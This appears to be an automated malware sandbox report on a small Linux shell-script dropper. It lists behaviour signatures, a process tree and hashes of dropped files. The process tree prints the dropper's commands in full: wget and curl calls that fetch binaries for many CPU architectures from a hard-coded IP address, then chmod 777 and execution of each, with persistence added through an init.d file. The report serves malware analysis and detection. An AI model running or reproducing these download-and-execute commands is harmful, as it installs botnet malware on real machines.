Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/07/2026, 01:04

General

  • Target
    _494f4666fe448e63d37a3d62b1a008aa8f1e2b234469703d321bdd877baaf38e.sh
  • Size 1KB
  • Sample260706-be39lagz2v
  • SHA256 494f4666fe448e63d37a3d62b1a008aa8f1e2b234469703d321bdd877baaf38e
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/_494f4666fe448e63d37a3d62b1a008aa8f1e2b234469703d321bdd877baaf38e.sh
    /tmp/_494f4666fe448e63d37a3d62b1a008aa8f1e2b234469703d321bdd877baaf38e.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/wget
      wget http://103.83.87.122/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/x86_64
      ./x86_64 catloader
      2⤵
        PID:672
      • /usr/bin/wget
        wget http://103.83.87.122/iran.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:674
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:675
      • /tmp/aarch64catloader
        ./aarch64catloader
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://103.83.87.122/iran.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:677
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/m68k
          ./m68k catloader
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://103.83.87.122/iran.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:699
          • /bin/chmod
            chmod 777 mips
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/mips
            ./mips catloader
            2⤵
            • System Network Configuration Discovery
            PID:727
          • /usr/bin/wget
            wget http://103.83.87.122/iran.mipsel -O mipsel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:729
          • /bin/chmod
            chmod 777 mipsel
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/mipsel
            ./mipsel catloader
            2⤵
            • System Network Configuration Discovery
            PID:732
          • /usr/bin/wget
            wget http://103.83.87.122/iran.powerpc -O powerpc
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 powerpc
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/powerpc
            ./powerpc catloader
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://103.83.87.122/iran.sparc -O sparc
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 sparc
              2⤵
              • File and Directory Permissions Modification
              PID:769
            • /tmp/sparc
              ./sparc catloader
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://103.83.87.122/iran.sh4 -O sh4
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 sh4
                2⤵
                • File and Directory Permissions Modification
                PID:773
              • /tmp/sh4
                ./sh4 catloader
                2⤵
                  PID:774
                • /usr/bin/wget
                  wget http://103.83.87.122/iran.arc -O arc
                  2⤵
                  • Writes file to tmp directory
                  PID:776
                • /bin/chmod
                  chmod 777 arc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:777
                • /tmp/arc
                  ./arc catloader
                  2⤵
                    PID:778
                  • /usr/bin/wget
                    wget http://103.83.87.122/iran.i486 -O i486
                    2⤵
                    • Writes file to tmp directory
                    PID:780
                  • /bin/chmod
                    chmod 777 i486
                    2⤵
                    • File and Directory Permissions Modification
                    PID:781
                  • /tmp/i486
                    ./i486 catloader
                    2⤵
                      PID:782
                    • /usr/bin/wget
                      wget http://103.83.87.122/iran.armv4l -O armv4l
                      2⤵
                      • Writes file to tmp directory
                      PID:784
                    • /bin/chmod
                      chmod 777 armv4l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:785
                    • /tmp/armv4l
                      ./armv4l catloader
                      2⤵
                      • Modifies init.d
                      • Changes its process name
                      • Reads runtime system information
                      PID:786
                    • /usr/bin/wget
                      wget http://103.83.87.122/iran.armv5l -O armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:788
                    • /usr/bin/curl
                      curl http://103.83.87.122/iran.armv5l -o armv5l
                      2⤵
                      • Checks CPU configuration
                      PID:793
                    • /bin/chmod
                      chmod 777 armv5l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:794
                    • /tmp/armv5l
                      ./armv5l catloader
                      2⤵
                        PID:795
                      • /bin/sh
                        /bin/sh ./armv5l catloader
                        2⤵
                          PID:795
                        • /usr/bin/wget
                          wget http://103.83.87.122/iran.armv6l -O armv6l
                          2⤵
                          • Writes file to tmp directory
                          PID:797
                        • /usr/bin/curl
                          curl http://103.83.87.122/iran.armv6l -o armv6l
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:798
                        • /bin/chmod
                          chmod 777 armv6l
                          2⤵
                          • File and Directory Permissions Modification
                          PID:799
                        • /tmp/armv6l
                          ./armv6l catloader
                          2⤵
                            PID:800
                          • /usr/bin/wget
                            wget http://103.83.87.122/iran.armv7l -O armv7l
                            2⤵
                            • Writes file to tmp directory
                            PID:801
                          • /usr/bin/curl
                            curl http://103.83.87.122/iran.armv7l -o armv7l
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:802
                          • /bin/chmod
                            chmod 777 armv7l
                            2⤵
                            • File and Directory Permissions Modification
                            PID:803
                          • /tmp/armv7l
                            ./armv7l catloader
                            2⤵
                              PID:804

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                xs.main

                                • Path /etc/init.d/xs.main
                                • Size 29B
                                • SHA256 7dd4c5cb5218adbb3e71eb16e974fcfa4d858c7806bc6af85f672881edb305fc
                                • MD5 SHA1 SHA512

                                aarch64

                                • Path /tmp/aarch64
                                • Size 205KB
                                • SHA256 bf38b3e5d645c78377599a6c218a347312c5a3daef693c7931f2710806d85317
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                arc

                                • Path /tmp/arc
                                • Size 153KB
                                • SHA256 21c5f4a04173a5176d60b06095bf5d25e0022ffbe304601e368eccf718587dc8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                armv4l

                                • Path /tmp/armv4l
                                • Size 153KB
                                • SHA256 9538c8a2edeaa8667134a469d03a7057ddc1e753ce1e5250f92f01c1097fcb1d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                armv6l

                                • Path /tmp/armv6l
                                • Size 10KB
                                • SHA256 e68bd012e7a5cd5e67c8c65dd12b7602af9ca6c4628a0e2785c4341b5c45242c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                armv6l

                                • Path /tmp/armv6l
                                • Size 12KB
                                • SHA256 e2f5c2161dff2f80ac238a2b42229cb121f38d956372b15f74a8562ac3871288
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                armv7l

                                • Path /tmp/armv7l
                                • Size 12KB
                                • SHA256 d73d8f60699d16277c37ebf9d8803452e81370cd9d99bdbc3927596ccc43ce85
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                armv7l

                                • Path /tmp/armv7l
                                • Size 12KB
                                • SHA256 b9e27791f72b122fd4bfb4f09780aaf4b73203df6b323150e5ac9869cf686927
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                i486

                                • Path /tmp/i486
                                • Size 98KB
                                • SHA256 ec442a132f27486d1dfa3faa92c03e10012afe2b8de39fa9b42b367f7971c989
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                m68k

                                • Path /tmp/m68k
                                • Size 177KB
                                • SHA256 f5cb6dadaee4399a1f014ef5946d0a4c1af578d15ff078e725e0757f28dc8493
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                mips

                                • Path /tmp/mips
                                • Size 204KB
                                • SHA256 e987bb8b32facef51c3cc5a94bd51e01d8c3be8a19c106de70147ab5ce84dc66
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                mipsel

                                • Path /tmp/mipsel
                                • Size 206KB
                                • SHA256 6e709fb9b09d9f8318724a8620812f55411a3ea49de6319c4832885547773ddd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                powerpc

                                • Path /tmp/powerpc
                                • Size 155KB
                                • SHA256 0d64cd75599dea5b8cf393b6e2b709f51b3971e64b96920e0707020e22ee7953
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                sh4

                                • Path /tmp/sh4
                                • Size 138KB
                                • SHA256 b4acd1ab65624b694946b1181bba0732bb63c88c51b8334914c26c1805b2e1aa
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                sparc

                                • Path /tmp/sparc
                                • Size 42KB
                                • SHA256 f38d748d9ea29424c28744c52bcd1d14328d49fcb604ca08fab3547ec500d6f0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                x86_64

                                • Path /tmp/x86_64
                                • Size 160KB
                                • SHA256 b1a6dba6636b519d76d7219f6264ac9f1456681c0855baef954fb435d3e25ce5
                                • MD5 SHA1 SHA512 SSDEEP TLSH